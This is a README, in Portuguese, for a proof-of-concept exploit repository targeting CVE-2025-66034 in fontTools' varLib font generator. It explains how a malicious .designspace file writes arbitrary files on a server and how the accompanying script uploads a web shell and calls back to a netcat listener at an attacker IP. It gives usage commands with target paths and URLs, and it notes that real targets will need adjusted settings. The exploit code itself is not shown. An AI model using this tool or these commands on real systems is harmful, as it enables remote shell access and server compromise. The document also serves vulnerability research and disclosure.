
Prova de conceito de exploit para CVE-2025-66034 no pipeline de geração de fontes variáveis do fontTools. Um arquivo .designspace criado de forma maliciosa permite o controle do caminho de saída, possibilitando escrita arbitrária de arquivos. O script automatiza a criação do payload, a geração da fonte e o upload para demonstrar o problema.
Este repositório não introduz uma nova vulnerabilidade.
Este é um exploit de Prova-de-Conceito para CVE-2025-66034 que afeta o pipeline de geração de fontes variáveis varLib do fontTools.
A vulnerabilidade permite que atacantes controlem o nome do arquivo de saída dentro de um arquivo .designspace malicioso. Quando processado por um serviço vulnerável de geração de fontes, isso pode levar à escrita arbitrária de arquivos no sistema de arquivos do servidor.
O script varlib_cve_2025_66034.py automatiza a criação do payload, geração de fontes, upload e acionamento opcional do shell.
nc automáticoPython 3.9+
Instale as dependências:
pip install fonttools requests
Netcat é necessário para o listener, portanto o próximo comando é necessário se você usar a opção --no-listen:
nc -lvnp <PORT_NUMBER>
Se o seu alvo for um laboratório auto-hospedado rodando em mysite.com, e o caminho de upload, o caminho de escrita no sistema de arquivos e o caminho de acionamento acessível via web corresponderem aos padrões do script, você pode executá-lo diretamente.
Uso básico:
python varlib_cve_2025_66034.py --ip <ATTACKER_IP> --port <ATTACKER_PORT>
É muito provável que o alvo use URLs ou caminhos de sistema de arquivos diferentes; substitua os padrões pelas opções disponíveis abaixo, como --url, --path e --trigger, ou modifique o script manualmente
Nota: os nomes dos campos do formulário multipart podem variar dependendo do ambiente. Se o alvo não usar os mesmos nomes de campos de formulário que o script, ajuste-os na seção files antes de executar o exploit.
| Argumento | Descrição |
|---|---|
--ip | IP do listener do atacante |
--port | Porta do listener |
--path | Caminho no sistema de arquivos do alvo onde o arquivo será escrito (deve ser acessível via web para acionar um web shell) |
--url | Endpoint de upload, o formulário pode variar |
--trigger | URL base usada para acionar o payload escrito após o upload |
--no-listen | Desativa o listener netcat automático |
Exemplo com opções personalizadas:
python varlib_cve_2025_66034.py --ip <ATTACKER_IP> --port <ATTACKER_PORT> --path /var/www/mysite.com/public --url http://mysite.com/tools/variable-font-generator/process --trigger http://mysite.com
.designspace maliciosoAgradecimentos especiais e respeito a:
Esta prova-de-conceito é fornecida para fins educacionais e de pesquisa para ajudar a entender a vulnerabilidade e seu impacto.
Este código é fornecido apenas para fins educacionais e de pesquisa.
Não use este exploit contra sistemas que você não possui ou para os quais não tem permissão explícita para testar.
O autor não é responsável pelo uso indevido ou danos causados por este software.